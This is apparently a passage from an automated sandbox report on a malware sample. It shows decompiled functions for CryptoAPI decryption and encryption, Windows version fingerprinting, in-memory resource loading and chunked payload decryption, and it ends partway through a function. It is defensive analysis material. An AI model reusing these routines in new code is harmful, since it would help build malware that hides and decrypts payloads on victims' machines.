Uniqueness Score: -1.00%

Function 04008A70 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 97
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04008A70(BYTE* _a4, DWORD* _a8, BYTE* _a12, int _a16, BYTE* _a20, int _a24) {
				int _v8;
				long* _v12;
				long _v16;
				long* _v20;
				long* _v24;
				char* _t35;
				int _t36;
				int _t38;
				int _t43;
				char* _t62;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0 || _a20 == 0 || _a24 == 0) {
					L16:
					return _v8;
				} else {
					_v12 = 0;
					_t35 =  *0x4013370; // 0x400c6e4
					_t36 = CryptAcquireContextA( &_v12, _t35, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t36 == 0) {
						_v16 = GetLastError();
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t62 =  *0x4013370; // 0x400c6e4
							CryptAcquireContextA( &_v12, _t62, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						_v20 = 0;
						_t38 = CryptImportKey(_v12, _a20, _a24, 0, 1,  &_v20); // executed
						if(_t38 != 0) {
							_v24 = 0;
							_t43 = CryptImportKey(_v12, _a12, _a16, _v20, 1,  &_v24); // executed
							if(_t43 != 0) {
								_v8 = CryptDecrypt(_v24, 0, 1, 0, _a4, _a8);
								CryptDestroyKey(_v24);
							}
							CryptDestroyKey(_v20);
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L16;
				}
			}

0x04008a76
0x04008a81
0x04008ba3
0x04008ba9
0x04008ab9
0x04008ab9
0x04008ac9
0x04008ad3
0x04008adb
0x04008ae3
0x04008aed
0x04008b01
0x04008b0c
0x04008b0c
0x04008aed
0x04008b16
0x04008b1c
0x04008b37
0x04008b3f
0x04008b41
0x04008b5e
0x04008b66
0x04008b80
0x04008b87
0x04008b87
0x04008b91
0x04008b91
0x04008b9d
0x04008b9d
0x00000000
0x04008b16

APIs

CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008AD3
GetLastError.KERNEL32 ref: 04008ADD
CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008B0C
CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00000000), ref: 04008B37
CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 04008B5E
CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 04008B7A
CryptDestroyKey.ADVAPI32(00000000), ref: 04008B87
CryptDestroyKey.ADVAPI32(00000000), ref: 04008B91
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008B9D

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008AC4
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008AFC

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$Context$AcquireDestroyImport$DecryptErrorLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 1555285084-947817771
Opcode ID: a29918078d8c2f64865fcd98cb153a1075290469360e4a9c607703ac9d42e64f
Instruction ID: 912f8c379191964defa89f3bac9fc05279983c51f6e5ced775be03f2308b6df6
Opcode Fuzzy Hash: a29918078d8c2f64865fcd98cb153a1075290469360e4a9c607703ac9d42e64f
Instruction Fuzzy Hash: 5A31CDB5A04209EBFB58DF94D849BEE77B8FB48705F14C518F601B62C0C7B8A984CB61

Uniqueness

Uniqueness Score: -1.00%

Function 10001030 Relevance: 18.4, APIs: 12, Instructions: 362libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(10004054,10004040), ref: 10001047
GetProcAddress.KERNEL32(00000000), ref: 1000104E

Part of subcall function 10001B30: SetLastError.KERNEL32(0000000D,?,10001070,?,00000040), ref: 10001B3D

SetLastError.KERNEL32(000000C1), ref: 10001096

Memory Dump Source

Source File: 00000006.00000002.606973844.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10001000_pigalicapi.jbxd

Similarity

API ID: ErrorLast$AddressLibraryLoadProc
String ID:
API String ID: 1866314245-0
Opcode ID: 3dc4c1101507dda9be7d1ca017cc9ed333707a61feece7f86d76402a0b178a7c
Instruction ID: de8a46b343c4f85be80e433d7a8ef3539ae306dd3111f157e8541b0b80b52991
Opcode Fuzzy Hash: 3dc4c1101507dda9be7d1ca017cc9ed333707a61feece7f86d76402a0b178a7c
Instruction Fuzzy Hash: 44F1C3B4A01209EFEB04CF94C990A9EB7B5FF48384F208598E915AB395D735EE41DB90

Uniqueness

Uniqueness Score: -1.00%

Function 04004880 Relevance: 18.1, APIs: 12, Instructions: 146encryptionCOMMON

Download Yara Rule

APIs

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 040048EB
CryptHashData.ADVAPI32(00000000,?,00000010,00000000), ref: 0400490B
CryptDeriveKey.ADVAPI32(00000000,00006801,00000000,00000001,00000000), ref: 0400493C
CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,?,000002F0), ref: 0400496F
CryptDestroyKey.ADVAPI32(00000000), ref: 04004982
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,?), ref: 040049A9
CryptHashData.ADVAPI32(?,?,000002F0,00000000), ref: 040049CC
CryptGetHashParam.ADVAPI32(?,00000004,00000000,00000004,00000000), ref: 04004A07
CryptGetHashParam.ADVAPI32(?,00000002,?,00000010,00000000), ref: 04004A34
CryptDestroyHash.ADVAPI32(?), ref: 04004A7D
CryptDestroyHash.ADVAPI32(00000000), ref: 04004A8A
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04004AA5

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$Hash$Destroy$CreateDataParam$ContextDecryptDeriveRelease
String ID:
API String ID: 2727466597-0
Opcode ID: 56f7e97ff9290496e290980ffb5b481f03a5a3792702acde3772e2a43a98712a
Instruction ID: 825b94236ad970d67c54706e51f03fb1cf2707309f33405f466b5fd67a115f37
Opcode Fuzzy Hash: 56f7e97ff9290496e290980ffb5b481f03a5a3792702acde3772e2a43a98712a
Instruction Fuzzy Hash: E251FD71A54318ABEB65CF50CC45FEA77BCAB48B04F008598F609B61C0DB79AB84CF54

Uniqueness

Uniqueness Score: -1.00%

Function 04008970 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E04008970(intOrPtr _a4, intOrPtr* _a8, BYTE* _a12, int _a16) {
				int _v8;
				long* _v12;
				long _v16;
				long* _v20;
				char* _t27;
				int _t28;
				int _t33;
				char* _t47;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L12:
					return _v8;
				} else {
					_v12 = 0;
					_t27 =  *0x4013370; // 0x400c6e4
					_t28 = CryptAcquireContextA( &_v12, _t27, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t28 == 0) {
						_v16 = GetLastError();
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t47 =  *0x4013370; // 0x400c6e4
							CryptAcquireContextA( &_v12, _t47, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						_v20 = 0;
						if(CryptImportKey(_v12, _a12, _a16, 0, 1,  &_v20) != 0) {
							_t33 = _v20;
							__imp__CryptEncrypt(_t33, 0, 1, 0, _a4, _a8,  *_a8);
							_v8 = _t33;
							CryptDestroyKey(_v20);
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L12;
				}
			}

APIs

CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 040089BF
GetLastError.KERNEL32 ref: 040089C9
CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 040089F8
CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 04008A1F
CryptEncrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 04008A41
CryptDestroyKey.ADVAPI32(00000000), ref: 04008A4E
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008A5A

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 040089E8
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 040089B0

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$Context$Acquire$DestroyEncryptErrorImportLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 3736710109-947817771
Opcode ID: a580c414a6f780aecf9ca1925e7721a486cca4ea517db96ead6d5debf2f75543
Instruction ID: 073036156a227ab269f6199982c6e62e9abf2561c3e32999b52b046b74d0c6c6
Opcode Fuzzy Hash: a580c414a6f780aecf9ca1925e7721a486cca4ea517db96ead6d5debf2f75543
Instruction Fuzzy Hash: D231FD75A40208EFFB54DFA4C849BAE77B9FB44701F14C658F605B62C0D7B8AA80CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 13.6, APIs: 9, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E00401000() {
				char _v16;
				char _v20;
				char* _v48;
				char _v52;
				char* _v56;
				void* _v60;
				intOrPtr* _t18;
				_Unknown_base(*)()* _t19;
				intOrPtr* _t25;
				void* _t30;
				intOrPtr* _t31;
				intOrPtr _t36;
				void* _t38;
				void* _t40;
				void* _t41;
				signed int _t42;

				_t18 =  *0x404088; // 0x401c60
				if(_t18 != 0) {
					_v52 = 0;
					_v56 = 2;
					_v60 = 0;
					 *_t18();
					_t42 = _t42 - 0xc;
				}
				_v60 = E00401110; // executed
				_t19 = SetUnhandledExceptionFilter(??); // executed
				_push(_t19);
				E00401DC8(E00401CE8(_t38));
				_v20 = 0;
				_v48 =  &_v20;
				_v52 =  *0x403018;
				_v56 =  &_v16;
				_v60 = 0x405004;
				 *_t42 = 0x405000;
				L00402410();
				_t25 =  *0x405038;
				if(_t25 != 0) {
					L4:
					 *0x40301c = _t25;
					_v60 = _t25;
					_t36 = __imp___iob;
					 *_t42 =  *((intOrPtr*)(_t36 + 0x10));
					L00402430();
					_v60 =  *0x405038;
					 *_t42 =  *((intOrPtr*)(_t36 + 0x30));
					L00402430();
					_v60 =  *0x405038;
					_t25 =  *((intOrPtr*)(_t36 + 0x50));
					 *_t42 = _t25;
					L00402430();
					goto L3;
				} else {
					L3:
					L00402418();
					 *_t25 =  *0x40301c;
					_t30 = E00401F00(_t36, _t40, _t41);
					_t42 = _t42 & 0xfffffff0;
					_t31 = E00402148(_t30);
					L00402420();
					_v56 =  *_t31;
					_v60 =  *0x405004;
					 *_t42 =  *0x405000; // executed
					_t25 = E0040216C( *0x40301c); // executed
					L00402428();
					 *_t42 = _t25;
					ExitProcess(??);
					goto L4;
				}
			}

APIs

SetUnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0040129C), ref: 00401033
__getmainargs.MSVCRT ref: 00401070
__p__fmode.MSVCRT ref: 0040107E
__p__environ.MSVCRT ref: 00401098
_cexit.MSVCRT ref: 004010BB
ExitProcess.KERNEL32 ref: 004010C3
_setmode.MSVCRT ref: 004010DD
_setmode.MSVCRT ref: 004010F1
_setmode.MSVCRT ref: 00401105

Memory Dump Source

Source File: 00000006.00000002.558505777.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.558382730.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.558681103.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.558864837.0000000000406000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.559037175.0000000000409000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.559758809.0000000000420000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_pigalicapi.jbxd

Similarity

API ID: _setmode$ExceptionExitFilterProcessUnhandled__getmainargs__p__environ__p__fmode_cexit
String ID:
API String ID: 3695137517-0
Opcode ID: c06788a4494e1d2675dd5dd0aa7ee8a04c7ee4f1323cc2b481735e636d9d2198
Instruction ID: 5314c48efd062ef50f6f18183d7c37668516cd49ce0ee3545be6121dab1d6748
Opcode Fuzzy Hash: c06788a4494e1d2675dd5dd0aa7ee8a04c7ee4f1323cc2b481735e636d9d2198
Instruction Fuzzy Hash: 9A21E8B45057009FC700EF79D68961EBBE4BF44308F40983EE984A7395D778D8449F5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401479 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 78librarymemorynativeCOMMON

Download Yara Rule

APIs

LdrFindResource_U.NTDLL ref: 004014EC
LdrAccessResource.NTDLL ref: 00401513
NtAllocateVirtualMemory.NTDLL ref: 0040154B

Strings

@, xrefs: 0040151E
BWONAD, xrefs: 004014AE
$@@, xrefs: 0040157C

Memory Dump Source

Source File: 00000006.00000002.558505777.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.558382730.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.558681103.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.558864837.0000000000406000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.559037175.0000000000409000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.559758809.0000000000420000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_pigalicapi.jbxd

Similarity

API ID: AccessAllocateFindMemoryResourceResource_Virtual
String ID: $@@$@$BWONAD
API String ID: 2485490239-207724474
Opcode ID: 1e933e0ed077e168773f665c03ba50cbef35de6cb0efad7f213f85bcee16254c
Instruction ID: 811c5ae7d21e0ee4240d1f8525f1dfe1deae8c0cebef189c32f944b86f782d2c
Opcode Fuzzy Hash: 1e933e0ed077e168773f665c03ba50cbef35de6cb0efad7f213f85bcee16254c
Instruction Fuzzy Hash: 1631D2B4D042099FDB00DFA9C4407DEBBF4EB49314F10C5AAD958B7340D7789A488FA5

Uniqueness

Uniqueness Score: -1.00%

Function 04009F70 Relevance: 1.6, APIs: 1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E04009F70(intOrPtr _a4, signed int _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				void* _v32;
				intOrPtr* _t59;
				intOrPtr _t64;
				void* _t99;
				void* _t100;

				_v8 = 1;
				if(_a4 != 0) {
					_t103 = _a8 - 5;
					if(_a8 > 5) {
						asm("cdq");
						_t59 = E040097A0( ~(0 | _t103 > 0x00000000) | _a8 / 0x00000006 * 0x00000288); // executed
						_t100 = _t99 + 4;
						_v28 = _t59;
						_v12 = _v28;
						if(_v12 != 0) {
							_v16 = _v12;
							_v20 = _a8 * 0x288 / 6;
							_push( &_v20);
							_t64 = _v12;
							_push(_t64); // executed
							L0400B1DA(); // executed
							if(_t64 == 0) {
								_v24 = 0;
								while(_v12 != 0 && _v24 < _a8) {
									if( *((intOrPtr*)(_v12 + 0x190)) < _a8 - _v24) {
										E04007B70(_a4 + _v24, _v12 + 0x194,  *((intOrPtr*)(_v12 + 0x190)));
										_t100 = _t100 + 0xc;
										_v24 = _v24 +  *((intOrPtr*)(_v12 + 0x190));
										_v12 =  *_v12;
										_v8 = 1;
										continue;
									}
									break;
								}
								 *_a12 = _v24;
							}
							_v32 = _v16;
							E040097C0(_v32);
						}
					}
				}
				return _v8;
			}

APIs

Part of subcall function 040097A0: GetProcessHeap.KERNEL32(00000008,04009FB2,?,04009FB2,00000000,?,?,?,04009E2D), ref: 040097A9
Part of subcall function 040097A0: RtlAllocateHeap.NTDLL(00000000,?,04009FB2,00000000,?,?,?,04009E2D), ref: 040097B0

GetAdaptersInfo.IPHLPAPI(00000000,04009E2D), ref: 04009FEB

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Heap$AdaptersAllocateInfoProcess
String ID:
API String ID: 1318000056-0
Opcode ID: 73ff96f27f52de9840d8f092c1af349ff5175d9842f98ddb7f52f1a4bac05a00
Instruction ID: 97f005e152f21f2c2f7fd10924b0caa403664ba6d1ad8a9a516f1bf18f754b30
Opcode Fuzzy Hash: 73ff96f27f52de9840d8f092c1af349ff5175d9842f98ddb7f52f1a4bac05a00
Instruction Fuzzy Hash: B931FBB5E00209EFEB04CF98C494AEEB7B5EF48308F10C169E909A7390D735AA45CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04008F80 Relevance: 63.2, APIs: 22, Strings: 14, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E04008F80(CHAR* _a4, intOrPtr _a8, intOrPtr* _a12) {
				int _v8;
				struct _SYSTEM_INFO _v44;
				signed int _v50;
				signed short _v52;
				struct _OSVERSIONINFOA _v204;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0) {
					L45:
					return _v8;
				} else {
					E04007D20(E04007D20(_a8, _a4, 0, _a8),  &_v204, 0, 0x9c);
					_v204.dwOSVersionInfoSize = 0x9c;
					E04007D20( &_v44,  &_v44, 0, 0x24);
					if(GetVersionExA( &_v204) == 0) {
						L43:
						if(_v8 == 0) {
							lstrcatA(_a4, "UndefinedOS");
						}
						goto L45;
					}
					GetSystemInfo( &_v44); // executed
					if(_v204.dwMajorVersion != 5) {
						if(_v204.dwMajorVersion == 6) {
							if(_v204.dwMinorVersion != 0) {
								if(_v204.dwMinorVersion != 1) {
									if(_v204.dwMinorVersion == 2) {
										if((_v50 & 0x000000ff) == 1) {
											if((_v50 & 0x000000ff) == 1) {
												lstrcatA(_a4, "Win8");
												 *_a12 = 0xb;
											}
										} else {
											lstrcatA(_a4, "WinServer2012");
											 *_a12 = 0xc;
										}
									}
								} else {
									if((_v50 & 0x000000ff) == 1) {
										if((_v50 & 0x000000ff) == 1) {
											lstrcatA(_a4, "Win7");
											 *_a12 = 8;
										}
									} else {
										lstrcatA(_a4, "WinServer2008R2");
										 *_a12 = 0xa;
									}
								}
							} else {
								if((_v50 & 0x000000ff) != 1) {
									if((_v50 & 0x000000ff) != 1) {
										lstrcatA(_a4, "WinServer2008");
										 *_a12 = 9;
									}
								} else {
									lstrcatA(_a4, "Vista");
									 *_a12 = 7;
								}
							}
						}
						L38:
						if(E04009290() != 0) {
							lstrcatA(_a4, "_x64");
						}
						if(lstrlenA( &(_v204.szCSDVersion)) != 0) {
							lstrcatA(_a4, "_");
							lstrcatA(_a4,  &(_v204.szCSDVersion));
						}
						_v8 = lstrlenA(_a4);
						goto L43;
					}
					if(_v204.dwMinorVersion != 0) {
						if(_v204.dwMinorVersion != 1) {
							if(_v204.dwMinorVersion == 2) {
								if((_v50 & 0x000000ff) != 1 || (_v44.dwOemId & 0x0000ffff) != 9) {
									if(GetSystemMetrics(0x59) != 0) {
										if(GetSystemMetrics(0x59) == 0) {
											if((_v52 & 0x8000) != 0) {
												lstrcatA(_a4, "WinHomeServer");
												 *_a12 = 4;
											}
										} else {
											lstrcatA(_a4, "WinServer2003R2");
											 *_a12 = 6;
										}
									} else {
										lstrcatA(_a4, "WinServer2003");
										 *_a12 = 5;
									}
								} else {
									lstrcatA(_a4, "WinXP64");
									 *_a12 = 3;
								}
							}
						} else {
							lstrcatA(_a4, "WinXP");
							 *_a12 = 2;
						}
					} else {
						lstrcatA(_a4, "Win2K");
						 *_a12 = 1;
					}
					goto L38;
				}
			}

APIs

GetVersionExA.KERNEL32(0000009C), ref: 04008FF7
GetSystemInfo.KERNEL32(?), ref: 04009009
lstrcatA.KERNEL32(00000000,Win2K), ref: 0400902E
lstrcatA.KERNEL32(00000000,WinXP), ref: 04009054
lstrcatA.KERNEL32(00000000,Vista), ref: 0400913D
lstrcatA.KERNEL32(00000000,WinServer2008), ref: 04009160
lstrcatA.KERNEL32(00000000,WinServer2008R2), ref: 0400918F
lstrcatA.KERNEL32(00000000,Win7), ref: 040091B2
lstrcatA.KERNEL32(00000000,WinServer2012), ref: 040091DE
lstrcatA.KERNEL32(00000000,Win8), ref: 04009201
lstrcatA.KERNEL32(00000000,_x64), ref: 04009222
lstrlenA.KERNEL32(?), ref: 0400922F
lstrcatA.KERNEL32(00000000,0400C980), ref: 04009242
lstrcatA.KERNEL32(00000000,?), ref: 04009253
lstrlenA.KERNEL32(00000000), ref: 0400925D
lstrcatA.KERNEL32(00000000,UndefinedOS), ref: 04009275

Strings

Vista, xrefs: 04009134
Win8, xrefs: 040091F8
Win7, xrefs: 040091A9
WinServer2003R2, xrefs: 040090D3
WinXP, xrefs: 0400904B
Win2K, xrefs: 04009025
_x64, xrefs: 04009219
UndefinedOS, xrefs: 0400926C
WinServer2008, xrefs: 04009157
WinServer2008R2, xrefs: 04009186
WinServer2012, xrefs: 040091D5
WinServer2003, xrefs: 040090AD
WinXP64, xrefs: 04009087
WinHomeServer, xrefs: 040090F8

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: lstrcat$lstrlen$InfoSystemVersion
String ID: UndefinedOS$Vista$Win2K$Win7$Win8$WinHomeServer$WinServer2003$WinServer2003R2$WinServer2008$WinServer2008R2$WinServer2012$WinXP$WinXP64$_x64
API String ID: 3139318632-332591429
Opcode ID: b80c610fb93e26c1f6b8a0e3d57eccb9ead3b078b5df3064abf97d281ea2cf4c
Instruction ID: 2fdea20511d00b83c143a5217ffb9651c4d2114897e9ccdf2931e29d93762e72
Opcode Fuzzy Hash: b80c610fb93e26c1f6b8a0e3d57eccb9ead3b078b5df3064abf97d281ea2cf4c
Instruction Fuzzy Hash: 1A81F9B4644209EBFB249F60C849BAE7BB5FB49301F00C659F905BA2C1D779E9C1CB61

Uniqueness

Uniqueness Score: -1.00%

Function 040062B0 Relevance: 56.7, APIs: 29, Strings: 3, Instructions: 657
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E040062B0(intOrPtr* _a4, intOrPtr _a8) {
				long _v8;
				intOrPtr _v12;
				signed int _v13;
				void* _v20;
				int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void _v36;
				void* _v40;
				long _v44;
				signed int _v48;
				void* _v52;
				long _v56;
				void _v60;
				char _v324;
				void* _v328;
				char _v340;
				char _v604;
				int _v608;
				long _v612;
				signed int _v616;
				void* _v620;
				void* _v624;
				void* _v628;
				int _v632;
				signed int _v636;
				long _v640;
				void* _v644;
				void* _v648;
				void* _v652;
				char _v916;
				void* _v920;
				char _v932;
				char _v1196;
				long _v1200;
				int _v1204;
				long _v1208;
				void* _v1212;
				long _v1216;
				signed int _v1220;
				void* _v1224;
				void* _v1228;
				intOrPtr _t317;
				signed char _t321;
				void* _t333;
				signed int _t340;
				void* _t349;
				signed int _t355;
				void* _t361;
				void* _t368;
				void* _t378;
				void* _t381;
				signed int _t383;
				void* _t386;
				void* _t393;
				int _t415;
				signed int _t421;
				signed int _t428;
				signed char _t433;
				void* _t439;
				signed char _t442;
				void* _t448;
				signed int _t452;
				intOrPtr _t455;
				void* _t465;
				void* _t472;
				void* _t473;
				void* _t508;
				void* _t509;
				void* _t528;
				void* _t529;
				void* _t539;
				void* _t549;
				void* _t550;
				void* _t551;
				void* _t563;
				void* _t598;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0) {
					L99:
					return _v8;
				} else {
					_v12 =  *_a4;
					if(_v12 > 0 && _v12 < 0x400) {
						_v20 = _a4 + 4;
						_v24 = 0;
						while(_v24 < _v12) {
							if(_v24 <= 0) {
								L10:
								_v28 = _v20 + 0x18;
								_v32 =  *_v20 - 0x18;
								__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0x400e270; // 0x1
								if(__eflags != 0) {
									L22:
									_t428 = _v24 + 1;
									__eflags = _t428;
									_v24 = _t428;
									continue;
								}
								__eflags =  *((intOrPtr*)(_v20 + 8)) -  *0x400e284; // 0x1
								if(__eflags != 0) {
									goto L22;
								}
								_t508 = _v20;
								__eflags =  *(_t508 + 0xc) & 0x00000002;
								if(( *(_t508 + 0xc) & 0x00000002) == 0) {
									goto L22;
								}
								__eflags =  *0x401435d & 0x000000ff;
								if(( *0x401435d & 0x000000ff) == 0) {
									goto L22;
								}
								_t509 = _v20;
								__eflags =  *(_t509 + 0xc) & 0x00000010;
								if(( *(_t509 + 0xc) & 0x00000010) == 0) {
									_t433 = E04001EE0(_v28, 0xea60);
									_t598 = _t598 + 8;
									_v8 = _t433 & 0x000000ff;
									L21:
									break;
								}
								_v44 =  *((intOrPtr*)(_v28 + _v32 - 4));
								_v40 = VirtualAlloc(0, _v44, 0x3000, 4);
								__eflags = _v40;
								if(_v40 == 0) {
									L19:
									goto L21;
								}
								_t439 = E04006260(_v40, _v28, _v32, _v40, _v44);
								__eflags = _t439 - _v44;
								if(_t439 == _v44) {
									_t442 = E04001EE0(_v40, 0xea60);
									_t598 = _t598 + 8;
									_v8 = _t442 & 0x000000ff;
								}
								VirtualFree(_v40, 0, 0x8000);
								goto L19;
							} else {
								_v36 =  *_v20;
								_v20 = _v20 + _v36;
								if(_v20 <= _a4 + _a8) {
									goto L10;
								} else {
									return 0;
								}
							}
						}
						_v13 = 0;
						_v20 = _a4 + 4;
						_v48 = 0;
						while(1) {
							__eflags = _v48 - _v12;
							if(_v48 >= _v12) {
								break;
							}
							__eflags = _v48;
							if(_v48 <= 0) {
								L29:
								_v52 = _v20 + 0x18;
								_v56 =  *_v20 - 0x18;
								__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0x400e274; // 0x2
								if(__eflags != 0) {
									L39:
									_t448 = _v20;
									__eflags =  *(_t448 + 0xc) & 0x00000002;
									if(( *(_t448 + 0xc) & 0x00000002) == 0) {
										__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0x400e270; // 0x1
										if(__eflags != 0) {
											L90:
											__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0x400e278; // 0x3
											if(__eflags != 0) {
												L93:
												__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0x400e27c; // 0x4
												if(__eflags == 0) {
													_v13 = 1;
												}
												L95:
												L24:
												_t452 = _v48 + 1;
												__eflags = _t452;
												_v48 = _t452;
												continue;
											}
											__eflags =  *((intOrPtr*)(_v20 + 8)) -  *0x400e288; // 0x2
											if(__eflags != 0) {
												goto L93;
											}
											_t317 =  *0x400e28c; // 0x4013f88
											_t455 =  *0x40118a0; // 0x4013b88
											E0400A360(_t455, _t317, _v52, _v56);
											_t598 = _t598 + 0x10;
											goto L95;
										}
